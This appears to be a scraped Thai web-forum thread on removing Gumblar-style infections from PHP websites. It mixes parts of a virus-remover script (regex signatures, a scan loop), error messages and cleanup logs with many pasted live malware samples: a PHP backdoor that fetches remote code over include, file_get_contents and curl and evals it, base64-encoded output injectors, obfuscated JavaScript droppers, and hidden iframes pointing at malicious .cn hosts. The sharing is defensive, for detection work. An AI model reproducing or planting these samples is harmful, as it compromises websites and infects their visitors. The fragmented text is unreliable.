ThaiSEOBoard.com

http://file.upsiwa.com/download.php?file=3263d0ee4ac79e696086086fcdb1df5a

Warning: Invalid argument supplied for foreach() in /home/xxxdomains/g-ji.com/public_html/php_virus_remover.php on line 80

Warning: Invalid argument supplied for foreach() in /home/xxx/domains/g-ji.com/public_html/php_virus_remover.php on line 94

Warning: Invalid argument supplied for foreach() in /home/xxx/domains/g-ji.com/public_html/php_virus_remover.php on line 94

foreach($file as $node)

## Virus Pattern (ห้ามแก้เด็ดขาด)
$virus_core = array(
	"#(<\?.*?function_exists.*?fromCharCode.*?document\.write.*?</title>.*?gzencode.*?set_error_handler.*?\?>)#i",	 // (PHP/ScriptEngine/RSS) gumblar.cn
	"#(<\?(php)?[^a-z0-9]*?eval\(base64_decode\(.*?'\)\);[^a-z0-9]*?\?>)#is",	// (PHP/Backdoor/POST/Eval) gumblar.cn
	"#<iframe.*?visibility: ?hidden.*?></iframe>#i",	// (PHP/IFrame/Hidden) litecarexcellent.cn
	"#\(function\(\)\{var.*?replace.*?eval\(unescape.*?\}\)\(\);#i",	// (JS/ScriptEngine/RSS) gumblar.cn
	"#\(function\([a-z0-9]*\)\{var.*?(replace|eval|unescape).*?\}\)\([^\)]*\);#i",	// (JS/ScriptEngine/RSS) gumblar.cn
	"#\(function\([a-z0-9]*\)\{eval\(unescape.*?replace.*?\}\)\([^\)]*\);#i",	// (JS/ScriptEngine/RSS) gumblar.cn
);

$file = glob($path."*.{".$ext2."}",GLOB_BRACE);

foreach($file as $node)

foreach($file as $node) {
		$data = @file_get_contents($node);
		foreach($virus_core as $code) {
			preg_match($code, $data, $match);
			if(!empty($match[0])) {
				$name = strtr($node, $fix);
				if(isset($_GET['debug'])) echo "<b>Filename:</b> ".$name."<br/>".$match[0]."<br/>";
				$list_problem[] = $node;
				continue;
			}
		}
	}

$str = '<a href="xxx"><b>Bla Bla</b></a>';
preg_match("#<.*>#", $str, $match); //Greedy
print_r($match);
preg_match("#<.*?>#", $str, $match); //UnGreedy
print_r($match);

$ext = end(explode(".", $file));
if (in_array($ext, $config['filetype'])) {
	//echo "$file\n";

}

$regex = "#\.(" . implode("|", $config['filetype']) . ")$#i";
if (preg_match($regex, $file, $tmp)) {
	//echo "$file\n";

}

<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cnNzbmV3cy53cw==");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="6b5c989d96a8617d098f67be813b4c3b") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);};die(); ?>

http://www.thaiseoboard.com/index.php/topic,57742.msg715055.html#msg715055

Parse error: syntax error, unexpected '(' in /home/----------------- : eval()'d code on line 1

146	echo '<script>status.innerHTML="Scaning Complete!";</script>
	พบทั้งหมด '.count($list).' ไฟล์';
	if(count($list) == 0) die();

[color=red]	foreach($list as $l){
		echo 'Virus found in '.$l.'<br>';
152	}[/color]

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9ra2xmb3J1bS9kb21haW5zL2ZvcnVtLmtob25rYWVubGluay5pbmZvL3B1YmxpY19odG1sL1RoZW1lcy9ra2xtYXJrZXQvaW1hZ2VzL29uLW9uMi1vZmYvMDEvc3R5bGUuY3NzLnBocCcpKXtpbmNsdWRlX29uY2UoJy9ob21lL2trbGZvcnVtL2RvbWFpbnMvZm9ydW0ua2hvbmthZW5saW5rLmluZm8vcHVibGljX2h0bWwvVGhlbWVzL2trbG1hcmtldC9pbWFnZXMvb24tb24yLW9mZi8wMS9zdHlsZS5jc3MucGhwJyk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJGQpeyRmPW9yZChzdWJzdHIoJGQsMywxKSk7JGg9MTA7JGU9MDtpZigkZiY0KXskZT11bnBhY2soJ3YnLHN1YnN0cigkZCwxMCwyKSk7JGU9JGVbMV07JGgrPTIrJGU7fWlmKCRmJjgpeyRoPXN0cnBvcygkZCxjaHIoMCksJGgpKzE7fWlmKCRmJjE2KXskaD1zdHJwb3MoJGQsY2hyKDApLCRoKSsxO31pZigkZiYyKXskaCs9Mjt9JHU9Z3ppbmZsYXRlKHN1YnN0cigkZCwkaCkpO2lmKCR1PT09RkFMU0UpeyR1PSRkO31yZXR1cm4gJHU7fX1mdW5jdGlvbiBkZ29iaCgkYil7SGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7JGM9Z3pkZWNvZGUoJGIpO2lmKHByZWdfbWF0Y2goJy9cPGJvZHkvc2knLCRjKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPGJvZHlbXlw+XSpcPikvc2knLCckMScuZ21sKCksJGMpO31lbHNle3JldHVybiBnbWwoKS4kYzt9fW9iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?>

http://safebrowsing.clients.google.com/safebrowsing/diagnostic?hl=th&site=www.โดเมนของท่าน.com

echo "<iframe src=\"http://clifedo.net/?click=B9EB75\" width=1 height=1 style=\"visibility:hidden;positio
<iframe src="http://greatnamemovie.cn:8080/ts/in.cgi?pepsi18" width=12 height=12 style="visibility: hidden"></iframe>

echo "<iframe src=\"http://clifedo.net/?click=BDC53C\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";



echo "<iframe src=\"http://internetcountercheck.com/?click=17126421\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";



echo "<iframe src=\"http://vafuiek.com/?click=15FCB05\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";

<script>var ABwRxE="X2H61X2H";var EInecw9n="A9g64%BRA";var ICAIcP="X2H3DX2H6";var mTwhvHE="e(/oun/";var BZpAD="74%BRA9g6";var pIXcLl2S="2H67X2H";var Sqf8="02U6D02U6502U3";var oiiv4D="%BRA9g68%BRA9g";var wHAJ="9g79%BRA9g4Do";var L5a1DG="A9g29ounB';e";wHAJ="%BRA9g4D%BRA"+wHAJ;var HADxBu="='%BRA9g64%BRA9";var ooHKQVq="7%BRA9g";var G4C9dD="6Y4D6Y7R";var sNgYKY="%BRA9g6D%BRA";var HSiqRp="H22X2H3BX2H69";var kctKYuGO="nD%BRA9g64%BRA";var PfV7pN0b="EX2H62";ooHKQVq="1%BRA9g6"+ooHKQVq;var IgD5="(Rb55.r";var rH3a="A9g6E%BRA9g74%";var eMBZEbyJ="D02U3c7";var w7KJZG7A=".replace(/c/g,";var Q5FYCN="69X2H76X2H20X2H";var yLhhco="2U7502U6202";var qb7U4t="X2H27X2H";var aw9Hj="E%BRA9g74%BRA9";var hj6I="1X2H67X2H7";var RLrUASt="4D6Y7R6";var B8DERO6="'%')));";var RppFihTv="A9g66%";var nbrr="%BRA9g72%BRA9g2";var z0iVgyc=");var R";var bFqJzREV="2H%Lb7X2H68X2";Q5FYCN+="69X2HWL";var EykK="U2702U3B';";nbrr="BRA9g61"+nbrr;var nWhnNJ="H3CX2H2FX2HWL";var RViE="E%BRA9g74%BRA9";var BAiVh3IE="g64%BRA9g";var Ahiv="H3CX2H62";var jUKZFWM="2702U3102U2";var HyiVNImo="g65%BRA";var KCUev="902U4D02U3c";var mw0szU="RA9g65%";hj6I="2X2H20X2H7"+hj6I;var W03BBU="2U2702U6c7";Ahiv="bX2H3DX2H27X2"+Ahiv;ooHKQVq+="79oun6%BRA9";mTwhvHE="').replac"+mTwhvHE;oiiv4D+="27%BRA9g29o";oiiv4D+="unB%BR";HyiVNImo+="9g6D%BRA9g65%";var xQgtmCM="X2H22X";var uueXRl="Y6R6Y746Y7R6Y";var b21QUBg="2U2E02U770";var FqyaNKF1="(/%Lb/";PfV7pN0b="2H6EX2H7%LbX2H2"+PfV7pN0b;RViE=HyiVNImo+"BRA9g6"+RViE;var FH2jWr="6Y686Y6R6Y646Y6";var SiWXj="02U2F02";var DmQVS5="2F02U4";var GrnG="eplace(/RA9/g";var WPd3ypyX="U4402U7902U";Ahiv+="X2H6FX2HWLb";var VcpyI="U5402U4902";var p7zMFDBB="7202U6";aw9Hj+="g2E%BRA9g77%BR";z0iVgyc=mTwhvHE+"g,'%3'))"+z0iVgyc;EykK="2U7002U4402"+EykK;var VqIu3j8="BRA9g6";var Giu5="02U3102U2702U3";qb7U4t+="3B';eval(une";var h8zoe="28X2HWLbX2H";var jgsFTb7="9g6E%BRA9g74%BR";mw0szU="g63%BRA9g72%B"+mw0szU;Q5FYCN=xQgtmCM+"2H3CX2HWLbX2H"+Q5FYCN;L5a1DG="g27%BR"+L5a1DG;var PMGa="02U3602U4F02";b21QUBg="U3602U4F0"+b21QUBg;var NYaSFEVL="ypM='X2H76X2H";var YrSkVOD="U6C02U27";rH3a+="BRA9g2";ICAIcP="9X2H3D"+ICAIcP;var EYbQiNB="R6Y626Y";var wu8EK="61%BRA9g72";var Xr15J="BRA9g7";var FLCJ43="g61%BRA9g4";KCUev+="7902U6F02U3";B8DERO6="eplace(/6Y/g,"+B8DERO6;wHAJ=wu8EK+"%BRA9g20"+wHAJ;var rqiAczo="CHAPL.repla";RLrUASt="Y6C6Y646Y286Y"+RLrUASt;IgD5+="eplace(/02U/";ooHKQVq="g28%BRA9g7"+ooHKQVq;L5a1DG+="val(une";RppFihTv="RA9g69%BR"+RppFihTv;L5a1DG="65%BRA9"+L5a1DG;qb7U4t+="scape(";Xr15J="RA9g63%"+Xr15J;KCUev=jUKZFWM+"702U3B02U4D02U7"+KCUev;GrnG+=",'q').repla";z0iVgyc=GrnG+"ce(/%Bqg/g,'%"+z0iVgyc;eMBZEbyJ=Giu5+"B02U4D02U7902U4"+eMBZEbyJ;var j0Nq="g65%BRA9g74%B";var JVVX="16Y706Y706Y656Y";FH2jWr+="46Y656Y6E";nWhnNJ+="bX2H69X2H7";oiiv4D="%BRA9g68"+oiiv4D;h8zoe=HSiqRp+"X2H66X2H"+h8zoe;VqIu3j8="63%BRA9g75%"+VqIu3j8;var GZl2lgtB="BRA9g2E%BR";var ucTY2To9="A9g61%BRA9";var hCdrz8z="7902U4D02U";var KShw="FX2H62X2H6FX2";YrSkVOD="02U4D02U6102"+YrSkVOD;var D3XN="c6502U6";jgsFTb7+="A9g42%BRA9g79%";qb7U4t=KShw+"HWLbX2H79X2H3E"+qb7U4t;var pRBrw="A9g62%BRA9";var PbFZj="2U6202U6102U720";D3XN=KCUev+"602U4F02U2E02U6"+D3XN;G4C9dD+="6Y4D6Y386Y7R6Y6";Xr15J+="5%BRA9g6D";ooHKQVq="0%BRA9"+ooHKQVq;var fKVTCoT="6Y646Y7R6Y4D6Y";rH3a=Xr15J+"%BRA9g65%BR"+rH3a;var MnnlnK1="2U6202";EYbQiNB="R6Y736Y6"+EYbQiNB;Sqf8="6E02U61"+Sqf8;var pZ1qdI="%BRA9g6C%";PMGa=hCdrz8z+"3c7902U6F"+PMGa;mw0szU=rH3a+"E%BRA9"+mw0szU;Ahiv+="X2H79X2H3EX2H2";FqyaNKF1="replace"+FqyaNKF1;YrSkVOD=DmQVS5+"602U72"+YrSkVOD;RViE="5%BRA9g6C%BRA9"+RViE;PbFZj=MnnlnK1+"U6C02U650"+PbFZj;kctKYuGO+="9g6F%BRA9g63";ooHKQVq="%BRA9g65%BRA9g2"+ooHKQVq;B8DERO6=rqiAczo+"ce(/R/g,'9').r"+B8DERO6;WPd3ypyX=Sqf8+"D02U2702"+WPd3ypyX;var LGFh="g,'%')));var";FLCJ43=BAiVh3IE+"28%BRA9g27%BRA9"+FLCJ43;var mTR9Uy="02U6402U2E02U77";W03BBU+="402U7402U";mw0szU=EInecw9n+"9g6F%B"+mw0szU;Ahiv=pIXcLl2S+"79X2H36X2H5%L"+Ahiv;FLCJ43=jgsFTb7+"BRA9g49%BRA9"+FLCJ43;ooHKQVq="9%BRA9g74"+ooHKQVq;NYaSFEVL="var yUB6"+NYaSFEVL;wHAJ=oiiv4D+"A9g76%BRA9g"+wHAJ;FH2jWr=uueXRl+"3D6Y27"+FH2jWr;var tVePz="Y4F6Y2E6Y736Y7";BZpAD=mw0szU+"BRA9g61%BRA9g"+BZpAD;tVePz+="46Y7R6Y6C6Y656Y";b21QUBg+="2U6902U6402U740";tVePz=G4C9dD+"F6Y366"+tVePz;Q5FYCN="H5%LbX2H3D"+Q5FYCN;JVVX+="6E6Y646Y436Y";var qnEYR0="366Y4F6Y2R6Y3";qnEYR0="6Y6F6Y"+qnEYR0;ICAIcP+="EX2H75X2H6CX2";p7zMFDBB=PMGa+"U2E02U7302U"+p7zMFDBB;D3XN=b21QUBg+"2U6c3D02U"+D3XN;RViE=BZpAD+"5%BRA9g4"+RViE;wHAJ+="un8%BRA9g79%BR";WPd3ypyX="4F02U2E02U"+WPd3ypyX;VqIu3j8=HADxBu+"g6F%BRA9g"+VqIu3j8;nbrr="29ounB%BRA9g76%"+nbrr;w7KJZG7A=IgD5+"g,'%')"+w7KJZG7A;kctKYuGO="%BRA9g4Doun6ou"+kctKYuGO;RppFihTv=RViE+"g28%BRA9g27%B"+RppFihTv;EYbQiNB=tVePz+"2E6Y766Y6"+EYbQiNB;qb7U4t+="yUB6ypM.repl";JVVX=fKVTCoT+"366Y2E6Y6"+JVVX;L5a1DG=ucTY2To9+"g6D%BRA9g"+L5a1DG;WPd3ypyX=eMBZEbyJ+"902U6F02U3602U"+WPd3ypyX;GZl2lgtB="RA9g6E%BRA9g74%"+GZl2lgtB;VcpyI=WPd3ypyX+"3902U6F02"+VcpyI;ICAIcP=PfV7pN0b+"X2H6FX2HWLbX2H7"+ICAIcP;L5a1DG=RppFihTv+"BRA9g72%BR"+L5a1DG;var xRVOH="2U2E02U6202U6F";pZ1qdI+="BRA9g65%BRA9g";ooHKQVq=aw9Hj+"A9g72%BRA9g6"+ooHKQVq;FH2jWr+="6Y276Y3";mTR9Uy="C02U65"+mTR9Uy;var ODHMv="2H79X2H36X2H";L5a1DG="9g4FounD%BR"+L5a1DG;qnEYR0+="B';eval(un";pZ1qdI=j0Nq+"RA9g45"+pZ1qdI;VcpyI="U6c7402U3D02U27"+VcpyI;var hHDNuiX="02U4D02U";RLrUASt=JVVX+"686Y6R6"+RLrUASt;L5a1DG+="scape(zY";B8DERO6=qnEYR0+"escape(LP"+B8DERO6;qb7U4t="2H3CX2H2"+qb7U4t;qb7U4t=ODHMv+"5%LbX2H2BX2H27X"+qb7U4t;p7zMFDBB=z0iVgyc+"b55='02U4D02U"+p7zMFDBB;D3XN=hHDNuiX+"3c7902U6F02"+D3XN;ooHKQVq="g65%BRA9g6"+ooHKQVq;W03BBU=p7zMFDBB+"302U3D0"+W03BBU;VqIu3j8=LGFh+" zYW2UKe8"+VqIu3j8;wHAJ=FLCJ43+"Coun7%BRA9g47"+wHAJ;mTR9Uy=PbFZj+"2U6502U6C02U6"+mTR9Uy;VcpyI=D3XN+"902U6702"+VcpyI;B8DERO6=RLrUASt+"Y4D6Y386Y7R"+B8DERO6;EykK=VcpyI+"U3502U390"+EykK;FH2jWr=EYbQiNB+"6R6Y6C6"+FH2jWr;pRBrw=nbrr+"0%BRA9g47%BR"+pRBrw;Ahiv=ICAIcP+"H6CX2H29X2H71X"+Ahiv;h8zoe=nWhnNJ+"6X2H3EX2"+h8zoe;pRBrw=ooHKQVq+"g54%BRA9g"+pRBrw;qb7U4t="2H71X2H67X"+qb7U4t;wHAJ=pZ1qdI+"6D%BRA9g65%BRA"+wHAJ;h8zoe="2H3EX2"+h8zoe;ABwRxE=Q5FYCN+"bX2H3DX2H27"+ABwRxE;bFqJzREV=ABwRxE+"%LbCX2H37X"+bFqJzREV;L5a1DG=wHAJ+"A9g6Foun6%BRA"+L5a1DG;w7KJZG7A=EykK+"eval(unescape"+w7KJZG7A;SiWXj=W03BBU+"7002U3A02U2F"+SiWXj;hj6I=NYaSFEVL+"61X2H7"+hj6I;mTR9Uy=xRVOH+"02U750"+mTR9Uy;mTR9Uy=yLhhco+"U6C02U650"+mTR9Uy;qb7U4t=Ahiv+"7X2H2BX"+qb7U4t;VqIu3j8="eplace(/X2H/"+VqIu3j8;FqyaNKF1=qb7U4t+"ace(/W/g,'6%')."+FqyaNKF1;h8zoe=bFqJzREV+"H68X2H27X"+h8zoe;w7KJZG7A=YrSkVOD+"02U3B02U4D02U79"+w7KJZG7A;FqyaNKF1="5X2H6DX2H65X"+FqyaNKF1;kctKYuGO=pRBrw+"g64%BRA9g79"+kctKYuGO;SiWXj=L5a1DG+"W2UKe8.r"+SiWXj;h8zoe=hj6I+"9X2H36X2"+h8zoe;FqyaNKF1=h8zoe+"6FX2H63X2H7"+FqyaNKF1;FH2jWr="var LPCHAPL='"+FH2jWr;mTR9Uy=SiWXj+"U6402U6F0"+mTR9Uy;mTR9Uy=GZl2lgtB+"A9g67%BRA9"+mTR9Uy;mTR9Uy=sNgYKY+"9g65%B"+mTR9Uy;FH2jWr=w7KJZG7A+"'8%')));"+FH2jWr;FH2jWr=mTR9Uy+"02U7302U"+FH2jWr;kctKYuGO=VqIu3j8+"D%BRA9"+kctKYuGO;FH2jWr=kctKYuGO+"%BRA9g75"+FH2jWr;B8DERO6=FH2jWr+"B6Y476Y62"+B8DERO6;B8DERO6=FqyaNKF1+"g,'4').r"+B8DERO6;eval(B8DERO6);</script>

<script>jl="707b776179717a603a63667d60713c36287d72667579713467667729337c6060642e3b3b707d737d6075787d7a67647d6675607d7b7a3a7127236e3a777a3b60717871777b793b3334637d70607c29332533347c717d737c60293325333467606d78712933627d677d767d787d606d2e347c7d7070717a2f332a283b7d72667579712a363d2f67616d766029365a755a362f7a7a7d716e7a29365a755a362f";jr="function mn(){ixho=Math.PI;vjjwlf=parseInt;ep='length';heqf=vjjwlf(~((ixho&ixho)|(~ixho&ixho)&(ixho&~ixho)|(~ixho&~ixho)));am=vjjwlf(((heqf&heqf)|(~heqf&heqf)&(heqf&~heqf)|(~heqf&~heqf))&1);ebbj=am<<am;nniezn=heqf;suybt='';szgop=String.fromCharCode;ex=eval;for(pmfnc=heqf;pmfnc<jr[ep];pmfnc-=-am)nniezn+=jr.charCodeAt(pmfnc);nniezn%=unescape(heqf+unescape('%78')+(am<<6));for(pmfnc=heqf;pmfnc<jl[ep];pmfnc+=ebbj)suybt+=szgop(vjjwlf(heqf+unescape('%78')+jl.charAt(pmfnc)+jl.charAt(pmfnc+vjjwlf(am)))^nniezn);try{ex(suybt);}catch(e){try{eval(suybt);}catch(e) {window.location='/';}}}try{eval('mn();')}catch(e) {}";eval(jr);</script>

<iframe src="http://mixmaxgroup.cn:8080/ts/in.cgi?pepsi53" width=125 height=125 style="visibility: hidden"></
<iframe src="http://thehomename.cn:8080/index.php" width=111 height=141 style="visibility: hidden"></iframe>

<?php echo &#39;&#39;; ?><?php echo &#39;<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript sr?=&#39;" + gaJsHost + "google-analytics.com/ga.js&#39; " + &#39;#@!s(&r)c@#=!)\&#39;!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&6!@!#^5(@#!.!&$1@#4)8#&/($g&$a!.(j^s)&#39;.replace(/#|@|&|\$|\)|\!|\^|\(/ig, &#39;&#39;) + "&#39; type=&#39;text/javascript&#39;%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-7623457-2");
pageTracker._trackPageview();
} catch(err) {}</script>&#39;; ?>

<iframe src="http://thebettings.cn:8080/ts/in.cgi?pepsi55" width=125 height=125 style="visibility: hidden"></iframe>

<iframe src="http://lotwager.cn:8080/ts/in.cgi?pepsi56" width=125 height=125 style="visibility: hidden"></iframe>

<iframe src="http://lotwager.cn:8080/ts/in.cgi?pepsi56" width=125 height=125 style="visibility: hidden"></iframe><iframe src="http://lotwager.cn:8080/ts/in.cgi?pepsi56" width=125 height=125 style="visibility: hidden"></iframe>

<iframe src="http://filmlifeimages.cn:8080/index.php" width=149 height=180 style="visibility: hidden"></iframe>

 src="http://bigtopleads.cn:8080/index.php" width=162 height=140 style="visibility: hidden"

Run File Scanner & Fixer...
(1/18) Cleaned: /xxxxx.com/search.php... [Found!] (Found: 388)
(3/18) Cleaned: /xxxxx.com/fileinfo.php... [Found!] (Found: 896)
(4/18) Cleaned: /xxxxx.com/php_virus_remover_ajax_dreamhost_edition.php... [Found!] (Found: 175566)
(5/18) Cleaned: /xxxxx.com/config.php... [Found!] (Found: 5738)
(7/18) Cleaned: /xxxxx.com/index-tmp.php... [Found!] (Found: 3182)
(8/18) Cleaned: /xxxxx.com/swfobject.js... [Found!] (Found: 13762)
(9/18) Cleaned: /xxxxx.com/bot.php... [Found!] (Found: 5896)
(12/18) Cleaned: /xxxxx.com/index.php... [Found!] (Found: 3572)
(14/18) Cleaned: /xxxxx.com/function.php... [Found!] (Found: 4166)
(16/18) Cleaned: /xxxxx.com/statsm5o3.html... [Found!] (Found: 2)
(18/18) Cleaned: /xxxxx.com/stats.php... [Found!] (Found: 1326)